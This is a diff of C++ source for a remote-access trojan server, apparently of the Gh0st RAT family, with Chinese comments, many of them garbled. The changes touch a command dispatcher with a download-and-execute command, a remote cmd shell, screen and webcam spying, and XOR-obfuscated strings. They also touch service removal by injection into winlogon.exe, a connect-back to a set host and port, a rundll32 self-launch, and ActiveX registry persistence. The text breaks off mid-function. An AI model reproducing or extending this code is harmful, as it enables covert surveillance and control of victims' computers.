||||
case COMMAND_WSLIST: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_WindowManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
Sleep(100);
|
||||
break;
|
||||
|
||||
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -158,7 +160,8 @@ void CKernelManager::UnInstallService()
|
||||
|
||||
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE>,Զ<><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
|
||||
{
|
||||
InjectRemoveService(winlogon_exe, m_strServiceName);
|
||||
//InjectRemoveService(winlogon_exe, m_strServiceName);
|
||||
InjectRemoveService("winlogon.exe", m_strServiceName);
|
||||
}
|
||||
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
{
|
||||
|
@@ -167,7 +167,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_SZ:
|
||||
pDecodeStr = decodeStr(char_REG_SZ); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -176,7 +176,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_EXPAND_SZ:
|
||||
pDecodeStr = decodeStr(char_REG_EXPAND_SZ);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_EXPAND_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -185,7 +185,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_DWORD:
|
||||
pDecodeStr = decodeStr(char_REG_DWORD);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName, pDecodeStr,ValueSz,int(ValueSz));
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName, pDecodeStr,ValueSz,int(ValueSz));
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_DWORD[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -195,7 +195,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_MULTI_SZ:
|
||||
pDecodeStr = decodeStr(char_REG_MULTI_SZ);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_MULTI_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
@@ -204,7 +204,7 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
||||
case REG_BINARY:
|
||||
pDecodeStr = decodeStr(char_REG_BINARY);
|
||||
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||
|
||||
memset(pDecodeStr, 0, char_REG_BINARY[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pDecodeStr;
|
||||
|
@@ -36,7 +36,7 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>洰<EFBFBD><E6B4B0>
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
|
||||
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44>ٱ<EFBFBD>
|
||||
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
}
|
||||
|
||||
|
@@ -26,7 +26,12 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
|
||||
if(!CreatePipe(
|
||||
&m_hReadPipeHandle, // __out <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
&m_hWritePipeShell, // __out д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
&sa, // __in SECURITY_ATTRIBUTES<45>ṹ<EFBFBD><E1B9B9>ָ<EFBFBD><D6B8> <20>Ӳⷵ<D3B2>صľ<D8B5><C4BE><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD>̼̳У<CCB3>ΪNULL<4C><4C><EFBFBD>ܼ̳<DCBC> <20><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṹ<EFBFBD><E1B9B9>
|
||||
0 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ0ʱʹ<CAB1><CAB9>Ĭ<EFBFBD>ϴ<EFBFBD>С
|
||||
))
|
||||
{
|
||||
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
|
||||
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
|
||||
|
@@ -17,17 +17,20 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount);
|
||||
|
||||
CSystemManager::CSystemManager(CClientSocket *pClient, BYTE bHow) : CManager(pClient)
|
||||
{
|
||||
m_caseSystemIs = bHow;
|
||||
if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendProcessList();
|
||||
}
|
||||
else if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendWindowsList();
|
||||
}
|
||||
else if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendProcessList();
|
||||
}
|
||||
}
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
@@ -342,10 +345,16 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||||
char strTitle[1024];
|
||||
memset(strTitle, 0, sizeof(strTitle));
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||||
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
|
||||
if (IsWindowVisible(hwnd))
|
||||
return true;
|
||||
//GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||||
GetWindowTextSafe(hwnd, strTitle, sizeof(strTitle));
|
||||
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
if (lstrlen(strTitle) == 0)
|
||||
{
|
||||
OutputDebugString("lstrlen");
|
||||
return true;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>յĻ<D5B5><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD>ú<EFBFBD><C3BA><EFBFBD>ʱѭ<CAB1><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եڶ<D4B5><DAB6>ν<EFBFBD><CEBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2>ǿյģ<D5B5><C4A3>ö<EFBFBD>̬<EFBFBD><CCAC>LocalReAlloc<6F>ı<EFBFBD><C4B1>Ѵ<EFBFBD>Сʵ<D0A1><CAB5><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>
|
||||
@@ -401,4 +410,52 @@ void CSystemManager::ShowTheWindow(LPBYTE buf)
|
||||
memcpy((void*)&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||
memcpy(&dHow, buf + sizeof(DWORD), sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ShowWindow((HWND__ *)hwnd, dHow);
|
||||
}
|
||||
|
||||
|
||||
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount)
|
||||
{
|
||||
if (NULL == hWnd || FALSE == IsWindow(hWnd) || NULL == lpString || 0 == nMaxCount)
|
||||
{
|
||||
return GetWindowText(hWnd, lpString, nMaxCount);
|
||||
}
|
||||
DWORD dwHwndProcessID = 0;
|
||||
DWORD dwHwndThreadID = 0;
|
||||
dwHwndThreadID = GetWindowThreadProcessId(hWnd, &dwHwndProcessID); //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD>̺<EFBFBD><CCBA>߳<EFBFBD>ID
|
||||
|
||||
if (dwHwndProcessID != GetCurrentProcessId()) //<2F><><EFBFBD>ڽ<EFBFBD><DABD>̲<EFBFBD><CCB2>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ý<EFBFBD><C3BD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
return GetWindowText(hWnd, lpString, nMaxCount);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
if (dwHwndThreadID == GetCurrentThreadId()) //<2F><><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
return GetWindowText(hWnd, lpString, nMaxCount);
|
||||
}
|
||||
|
||||
#ifndef _UNICODE
|
||||
WCHAR *lpStringUnicode = new WCHAR[nMaxCount];
|
||||
InternalGetWindowText(hWnd, lpStringUnicode, nMaxCount);
|
||||
int size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, NULL, 0, NULL, NULL);
|
||||
if (size <= nMaxCount)
|
||||
{
|
||||
size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, lpString, size, NULL, NULL);
|
||||
if (NULL != lpStringUnicode)
|
||||
{
|
||||
delete[]lpStringUnicode;
|
||||
lpStringUnicode = NULL;
|
||||
}
|
||||
return size;
|
||||
}
|
||||
if (NULL != lpStringUnicode)
|
||||
{
|
||||
delete[]lpStringUnicode;
|
||||
lpStringUnicode = NULL;
|
||||
}
|
||||
return 0;
|
||||
|
||||
#else
|
||||
return InternalGetWindowText(hWnd, lpString, nMaxCount);
|
||||
#endif
|
||||
}
|
@@ -34,6 +34,7 @@ private:
|
||||
void KillProcess(LPBYTE lpBuffer, UINT nSize);
|
||||
void ShowTheWindow(LPBYTE buf);
|
||||
void CloseTheWindow(LPBYTE buf);
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|
||||
|
@@ -27,7 +27,8 @@ CVideoCap::CVideoCap()
|
||||
char classname32770[] = { 0x06,0xe8,0xf9,0xfb,0xff,0xf0,0xf6 }; //#32770
|
||||
char* lpClassName = decodeStr(classname32770); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
m_hWnd = CreateWindow(lpClassName, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
//m_hWnd = CreateWindow(lpClassName, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
|
||||
memset(lpClassName, 0, classname32770[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete lpClassName;
|
||||
|
@@ -99,14 +99,16 @@ bool getLoginInfo(char *lpURL, char **lppszHost, LPDWORD lppPort, char **lppszPr
|
||||
HINTERNET hNet;
|
||||
HINTERNET hFile;
|
||||
|
||||
//strcry
|
||||
char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
|
||||
char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
hNet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
|
||||
memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pMozilla;
|
||||
//strcry----------------------------------------------------
|
||||
//char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
|
||||
//char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
//
|
||||
//hNet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
//
|
||||
//memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
//delete pMozilla;
|
||||
hNet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
//----------------------------------------------------------
|
||||
|
||||
|
||||
if (hNet == NULL)
|
||||
@@ -160,7 +162,11 @@ DWORD CPUClockMhz()
|
||||
}; //WinSta0\Default
|
||||
char* pHARDWARE = decodeStr(HARDWARE); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE, pHARDWARE, &hKey);
|
||||
|
||||
//RegOpenKey(HKEY_LOCAL_MACHINE, pHARDWARE, &hKey);
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||||
//------------------------------------------------------------------------------------------------
|
||||
|
||||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
@@ -228,7 +228,7 @@ bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
|
||||
char *lpstrCat = NULL;
|
||||
memset(strIEPath, 0, sizeof(strIEPath));
|
||||
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, "Applications\\iexplore.exe\\shell\\open\\command", 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
memset(pApplications, 0, Applications[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pApplications;
|
||||
|
@@ -4,8 +4,21 @@
|
||||
#include "common/KernelManager.h"
|
||||
#include "common/login.h"
|
||||
#include "common/install.h"
|
||||
#include <stdio.h>
|
||||
#include <shlwapi.h>
|
||||
#pragma comment(lib,"shlwapi.lib")
|
||||
|
||||
|
||||
struct Connect_Address
|
||||
{
|
||||
DWORD dwstact;
|
||||
char strIP[MAX_PATH];
|
||||
int nPort;
|
||||
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
|
||||
}g_myAddress = { 0xCC28256,"",0,"" };
|
||||
|
||||
|
||||
DWORD WINAPI DelAXRegThread(LPVOID lpParam);
|
||||
|
||||
char svcname[MAX_PATH];
|
||||
SERVICE_STATUS_HANDLE hServiceStatus;
|
||||
@@ -19,10 +32,10 @@ DWORD g_dwServiceType;
|
||||
|
||||
enum
|
||||
{
|
||||
NOT_CONNECT, // 还没有连接
|
||||
GETLOGINFO_ERROR,//获取信息失败
|
||||
CONNECT_ERROR,//链接失败
|
||||
HEARTBEATTIMEOUT_ERROR //心跳超时链接失败
|
||||
NOT_CONNECT, // 还没有连接
|
||||
GETLOGINFO_ERROR, // 获取信息失败
|
||||
CONNECT_ERROR, // 链接失败
|
||||
HEARTBEATTIMEOUT_ERROR // 心跳超时链接失败
|
||||
};
|
||||
|
||||
DWORD WINAPI main(char *lpServiceName);
|
||||
@@ -37,8 +50,8 @@ LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
|
||||
|
||||
DWORD WINAPI main(char *lpServiceName)
|
||||
{
|
||||
//strcpy(g_strHost, "192.168.1.174");
|
||||
g_dwPort = 8088;
|
||||
strcpy(g_strHost, g_myAddress.strIP);
|
||||
g_dwPort = g_myAddress.nPort;
|
||||
// lpServiceName,在ServiceMain返回后就没有了
|
||||
char strServiceName[256] = {0};
|
||||
char strKillEvent[50] = { 0 };
|
||||
@@ -47,22 +60,25 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
// Set Window Station
|
||||
HWINSTA hOldStation = GetProcessWindowStation();
|
||||
|
||||
|
||||
char winsta0[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5};//winsta0
|
||||
char* lpszWinSta = decodeStr(winsta0); //解密函数
|
||||
//---------------------------------------------------------------------------
|
||||
//char winsta0[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5};// winsta0
|
||||
//char* lpszWinSta = decodeStr(winsta0); // 解密函数
|
||||
//
|
||||
//HWINSTA hWinSta = OpenWindowStation(lpszWinSta, FALSE, MAXIMUM_ALLOWED);
|
||||
//
|
||||
//memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); // 填充0
|
||||
//delete lpszWinSta; // 释放
|
||||
|
||||
HWINSTA hWinSta = OpenWindowStation(lpszWinSta, FALSE, MAXIMUM_ALLOWED);
|
||||
|
||||
memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); //填充0
|
||||
delete lpszWinSta; //释放
|
||||
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
|
||||
//---------------------------------------------------------------------------
|
||||
|
||||
if (hWinSta != NULL)
|
||||
SetProcessWindowStation(hWinSta);
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
//--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
|
||||
//--这里要在dllmain中为CKeyboardManager::g_hInstance赋值
|
||||
// 这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
|
||||
// 这里要在dllmain中为CKeyboardManager::g_hInstance赋值
|
||||
if (CKeyboardManager::g_hInstance != NULL)
|
||||
{
|
||||
//设置异常
|
||||
@@ -70,11 +86,12 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
|
||||
lstrcpy(strServiceName, lpServiceName);
|
||||
wsprintf(strKillEvent, "Global\\CcRem %d", GetTickCount()); // 随机事件名
|
||||
//wsprintf(strKillEvent, "Global\\Net_%d", GetTickCount()); // 随机事件名
|
||||
|
||||
hInstallMutex = CreateMutex(NULL, true, g_strHost);
|
||||
//ReConfigService(strServiceName);
|
||||
// ReConfigService(strServiceName);
|
||||
// 删除安装文件
|
||||
// DeleteInstallFile(lpServiceName);
|
||||
// DeleteInstallFile(lpServiceName);
|
||||
}
|
||||
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
|
||||
SetErrorMode(SEM_FAILCRITICALERRORS);
|
||||
@@ -132,9 +149,9 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
// 登录
|
||||
DWORD dwExitCode = SOCKET_ERROR;
|
||||
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
|
||||
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
|
||||
// 接成功后声明了一个CKernelManager 到CKernelManager
|
||||
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
|
||||
//socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
|
||||
// socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
|
||||
//(每个功能类都有OnReceive函数来处理接受的数据他们都继承自父类CManager)
|
||||
socketClient.setManagerCallBack(&manager);
|
||||
|
||||
@@ -151,7 +168,7 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
DWORD dwIOCPEvent;
|
||||
dwTickCount = GetTickCount();//获取时间戳
|
||||
dwTickCount = GetTickCount();// 获取时间戳
|
||||
|
||||
do
|
||||
{
|
||||
@@ -170,7 +187,7 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
#ifdef _DLL
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// Restor WindowStation and Desktop
|
||||
// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
|
||||
// 不需要恢复桌面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
|
||||
// SetProcessWindowStation(hOldStation);
|
||||
// CloseWindowStation(hWinSta);
|
||||
//
|
||||
@@ -182,15 +199,6 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
CloseHandle(hInstallMutex);
|
||||
}
|
||||
|
||||
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
|
||||
{
|
||||
strcpy(g_strHost, strHost); //保存上线地址
|
||||
g_dwPort = nPort; //保存上线端口
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
|
||||
//这里等待线程结束
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
@@ -279,4 +287,87 @@ extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
|
||||
while (1) Sleep(10000);
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
|
||||
{
|
||||
strcpy(g_strHost, strHost); // 保存上线地址
|
||||
g_dwPort = nPort; // 保存上线端口
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
|
||||
//这里等待线程结束
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
void TestFuns(char* strHost, int nPort)
|
||||
{
|
||||
strcpy(g_strHost, strHost); // 保存上线地址
|
||||
g_dwPort = nPort; // 保存上线端口
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
|
||||
//这里等待线程结束
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
|
||||
extern "C" __declspec(dllexport) void MainRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
|
||||
{
|
||||
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DelAXRegThread, NULL, 0, NULL);
|
||||
char strHost[] = "127.0.0.1"; // 声明上线地址
|
||||
int nPort = 8088; // 声明上线端口
|
||||
TestFuns(strHost, nPort);
|
||||
}
|
||||
|
||||
extern "C" __declspec(dllexport) void FirstRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
|
||||
{
|
||||
char strMyFileName[MAX_PATH], strCmdLine[MAX_PATH];
|
||||
ZeroMemory(strMyFileName, MAX_PATH);
|
||||
ZeroMemory(strCmdLine, MAX_PATH);
|
||||
//得到自身文件名
|
||||
GetModuleFileName(CKeyboardManager::g_hInstance, strMyFileName, MAX_PATH);
|
||||
//构造启动参数
|
||||
sprintf(strCmdLine, "%s %s,MainRun", "rundll32.exe", strMyFileName);
|
||||
|
||||
//启动服务端
|
||||
STARTUPINFO StartInfo;
|
||||
PROCESS_INFORMATION ProcessInformation;
|
||||
StartInfo.cb = sizeof(STARTUPINFO);
|
||||
StartInfo.lpDesktop = NULL;
|
||||
StartInfo.lpReserved = NULL;
|
||||
StartInfo.lpTitle = NULL;
|
||||
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
StartInfo.cbReserved2 = 0;
|
||||
StartInfo.lpReserved2 = NULL;
|
||||
StartInfo.wShowWindow = SW_SHOWNORMAL;
|
||||
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
DWORD WINAPI DelAXRegThread(LPVOID lpParam)
|
||||
{
|
||||
char ActiveXStr[1024]; // activex 键值字符串
|
||||
char ActiveXStr32[1024]; // activex 键值字符串
|
||||
ZeroMemory(ActiveXStr, 1024);
|
||||
ZeroMemory(ActiveXStr32, 1024);
|
||||
|
||||
if (g_myAddress.ActiveXKeyGuid != NULL)
|
||||
{
|
||||
//构造键值
|
||||
sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid);
|
